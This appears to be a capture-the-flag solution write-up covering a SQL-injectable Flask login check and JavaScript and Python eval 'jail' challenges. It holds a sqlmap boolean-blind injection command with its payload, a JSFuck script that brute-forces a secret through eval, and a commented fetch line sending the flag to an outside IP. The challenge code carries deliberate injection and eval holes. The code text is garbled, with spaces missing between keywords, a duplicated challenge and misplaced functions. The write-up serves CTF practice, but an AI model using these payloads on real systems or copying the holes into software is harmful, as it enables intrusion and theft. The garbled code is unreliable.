@app.route('/') defindex(): user_ip = request.remote_addr app.logger.info(f'Accessing the home page. User IP: {user_ip}') return render_template('index.html')
@app.route('/check_user', methods=['POST']) defcheck_user(): try: user_ip = request.remote_addr req = request.get_json() if'username'notin req: response = {'status': 'warning', 'message': 'No username.'} app.logger.warning(f'No username by {user_ip}.') return jsonify(response) username = req['username'] for keyword in blockList: if keyword in username: response = {'status': 'warning', 'message': 'Detected malicious activity.'} app.logger.warning(f'Detected malicious activity by {user_ip} : {keyword}') return jsonify(response) iflen(username) > 10: response = {'status': 'warning', 'message': 'Username was too long.'} app.logger.warning(f'Username was too long by {user_ip}.') else: print(f"SELECT * FROM user WHERE username = '{username}'") conn = sqlite3.connect("file:database.db?mode=ro",uri=True) cursor = conn.cursor() cursor.execute(f"SELECT * FROM user WHERE username = '{username}'") user = cursor.fetchone() conn.close() if user: response = {'status': 'success', 'message': 'User exists.'} app.logger.info(f'{user_ip} found {username}.') else: response = {'status': 'fail', 'message': 'User does not exist.'} app.logger.info(f'{user_ip} did not find {username}.') return jsonify(response) except Exception as e: user_ip = request.remote_addr app.logger.error(f'An error occurred by {user_ip}: {str(e)}') return jsonify({'status': 'error', 'message': 'error'})
題解
check_user 的 cursor.execute(f"SELECT * FROM user WHERE username = '{username}'") 有 SQLi,但 username 有 blacklist,可以透過把 username 變成陣列來繞過 ' 的限制,如下。所以可以做 Boolean-based SQLi。
> sqlmap --level 5 --risk 3 --dump --technique=B --dbms sqlite3 -r request.txt --force-ssl sqlmap identified the following injection point(s) with a total of 228 HTTP(s) requests: --- Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: {"username":[" ' OR NOT 5167=5167-- KUUE -- "]} --- back-end DBMS: SQLite sqlmap resumed the following injection point(s) from stored session: --- Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: {"username":[" ' OR NOT 5167=5167-- KUUE -- "]} ---
app.post("/escape", (req, res) => { body = req.body; let validationResult = validateString(body);
if (validationResult !== "String is valid.") { return res.send(validationResult); }
console.log(body); let result; try { result = eval(body).toString(); } catch (e) { return res.send("Something went wrong with your code."); }
try { if (String (eval(result)) === fa) { return res.send("WOW! How did you know the flag?"); } } catch (e) {} return res.send("Good job! Try harder."); });
app.listen(port, () => { console.log(`App running on http://localhost:${port}`); });
functionvalidateString(input) { if (!/^[^\w=]+$/.test(input)) { return"ERROR: Input must only contain symbols."; }
const charCount = {}; for (let char of input) { charCount[char] = (charCount[char] || 0) + 1; }
const sortedSymbols = Object.keys(charCount).sort((a, b) => charCount[b] - charCount[a]);
if (sortedSymbols.length > 2**4) { return"ERROR: More than 8 different symbols used."; }
for (let i = 0; i < sortedSymbols.length; i++) { const maxAllowed = 2**7 - i; if (charCount[sortedSymbols[i]] > maxAllowed) { console.log(`ERROR: Symbol '${sortedSymbols[i]}' appeared ${charCount[sortedSymbols[i]]} times, which exceeds the limit of ${maxAllowed}.`) } console.log(`NOERROR: Symbol '${sortedSymbols[i]}' appeared ${charCount[sortedSymbols[i]]} times, which exceeds the limit of ${maxAllowed}.`) }
// fetch('http:601150761?'+fa) f = `(![]+"")[-(-"")]` e = `(!""+"")[-(-""-!""-!""-!"")]` t = `(!""+"")[+""]` c = `([][(!!""+"")[+""]+(!!""+[])[-(-""-!""-!"")]+(!!""+"")[+!+""]+(!""+"")[-(-"")]]+"")[!+[]+!+[]+!+[]]` u = `([][""]+"")[+""]`
h = `'\\\\'+${u}+[+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]` p = `'\\\\'+${u}+[+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]`
functionencode(char) { let res = JSFuck.encode(char) switch (char) { case'A': res = `(+[![]]+[][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]())[+!+[]+[+!+[]]]` break; } // replace all !![] with !"" res = replaceAll(res, `!!\\[\\]`, `!""`) res = replaceAll(res, `!\\[\\]`, `!!""`) res = replaceAll(res, `\\+\\[\\]\\+`, `+""+`) return res } functiongetPayload(char, i) { f = `(![]+"")[-(-"")]` a = encode('a')
// less _l = encode('<') _g = encode('>')
char = encode(char)
_0 = `(+'')` _1 = `(+!+'')`
let payload = concat(f, a, `'['`, _0, `']'`, _g, `"\\""`, char, `"\\""`, `"&&"`, f, a) return payload
functionconcat() { const args = Array.from(arguments); let res = '' for (let i = 0; i < args.length; i++) { res += args[i] if (i != args.length - 1) res += `+` } return res } } // console.log(JSFuck.encode(`fa[0]>"a"`)+`+"&&"+`+JSFuck.encode('fa'))
functiontestPayload(payload) { const test = require("./test") const res = test(payload) if (res == "Good job! Try harder.") returnfalse; if (res == "WOW! How did you know the flag?") returntrue; console.error(`res: ${res}`) return"Nope" }
const charset = `?AIN+abcdefijlnorstuy` let i = 0; for (const char of charset) { console.log(char) const payload = getPayload(char, i) const res = testPayload(payload) console.log(res) console.log(`===========`) }
app.post("/escape", (req, res) => { body = req.body; let validationResult = validateString(body);
if (validationResult !== "String is valid.") { return res.send(validationResult); }
console.log(body); let result; try { result = eval(body).toString(); } catch (e) { return res.send("Something went wrong with your code."); }
try { if (String (eval(result)) === fa) { return res.send("WOW! How did you know the flag?"); } } catch (e) {}
return res.send("Good job! Try harder."); });
app.listen(port, () => { console.log(`App running on http://localhost:${port}`); });
functionvalidateString(input) { if (!/^[^\w=]+$/.test(input)) { return"ERROR: Input must only contain symbols."; }
const charCount = {}; for (let char of input) { charCount[char] = (charCount[char] || 0) + 1; }
const sortedSymbols = Object.keys(charCount).sort((a, b) => charCount[b] - charCount[a]);
if (sortedSymbols.length > 2**4) { return"ERROR: More than 8 different symbols used."; }
for (let i = 0; i < sortedSymbols.length; i++) { const maxAllowed = 20 - Math.floor(i / 2) * 2; if (charCount[sortedSymbols[i]] > maxAllowed) { return`ERROR: Symbol '${sortedSymbols[i]}' appeared ${charCount[sortedSymbols[i]]} times, which exceeds the limit of ${maxAllowed}.`; } }
iflen(user_input) != expected_length: print(f"Invalid input length. Your input must be exactly {expected_length} characters long.") returnFalse
ifset(user_input).difference(allowed_characters): print("Invalid input. Only a,b,c,d,e,f,g,1,2,3,4,5,{,} certain characters are allowed.") returnFalse
expression = f"int({user_input})" result = eval(expression, {'__builtins__': None}, {'int': int}) try: if result != EXPECTED_RESULT: print(f"Error.") returnFalse else: returnTrue except Exception: print(f"Error.") returnFalse
levels = [1, 3, 4, 6, 7, 8, 10, 11]
defstart_game(): logo=""" ░█████╗░███████╗░██████╗░██╗░██████╗ Eazy Jail For Beginner ██╔══██╗██╔════╝██╔════╝░██║██╔════╝ ███████║█████╗░░██║░░██╗░██║╚█████╗░ ██╔══██║██╔══╝░░██║░░╚██╗██║░╚═══██╗ ██║░░██║███████╗╚██████╔╝██║██████╔╝ ╚═╝░░╚═╝╚══════╝░╚═════╝░╚═╝╚═════╝░ STAGE 1""" print(logo) print("Your task is to enter a string that, when used in a command like 'int(YOUR_INPUT)', results in the number 2.") print("Each level requires a different input length. If you succeed through all levels, you will reach the next stage!") for level in levels: print(f"\nLevel {levels.index(level) + 1} of {len(levels)}: Enter a payload exactly {level} characters long.") whileTrue: user_input = input("Enter a payload: ") if validate_and_execute(user_input, level): print(f"Congratulations on passing level {levels.index(level) + 1}!") if level == 11: os.system('clear') os.system('node stage2.js') return break else: print("An error occurred.") return